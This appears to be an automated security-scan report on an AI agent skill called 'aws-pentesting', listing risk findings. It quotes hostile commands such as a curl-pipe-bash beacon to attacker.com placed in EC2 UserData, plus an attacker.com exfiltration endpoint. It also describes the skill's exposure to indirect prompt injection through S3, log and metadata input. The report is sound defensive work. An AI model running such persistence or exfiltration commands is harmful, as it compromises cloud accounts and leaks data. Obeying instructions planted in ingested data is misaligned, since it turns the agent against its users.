The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill documents and provides commands for executing remote scripts via curl | bash patterns. Evidence found in references/persistence-techniques.md includes commands like curl https://attacker.com/beacon | bash embedded in EC2 UserData and SSM associations.
[DATA_EXFILTRATION]: The skill includes instructions to exfiltrate data to an external domain attacker.com, which has been flagged as malicious by automated scanners. Specifically, https://attacker.com/collect is used as an exfiltration endpoint in SKILL.md and references/persistence-techniques.md for SNS subscriptions.
[EXTERNAL_DOWNLOADS]: The skill recommends installing several third-party Python packages from public registries without version pinning, including s3-account-search, enumerate-iam, and aws-role-juggler.
[COMMAND_EXECUTION]: The instructions contain numerous AWS CLI commands for sensitive operations such as creating IAM users, modifying policy versions, and accessing instance metadata, which could be abused if executed in an untrusted environment.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and process data from AWS environments (S3 buckets, logs, metadata), creating a surface for indirect prompt injection if that data contains malicious instructions.
Ingestion points: S3 bucket contents, CloudWatch logs, EC2 metadata.
Boundary markers: Not present.
Capability inventory: File system access, network operations (via aws and curl), and subprocess execution.
Sanitization: No sanitization or validation of external data is specified.

aws-pentesting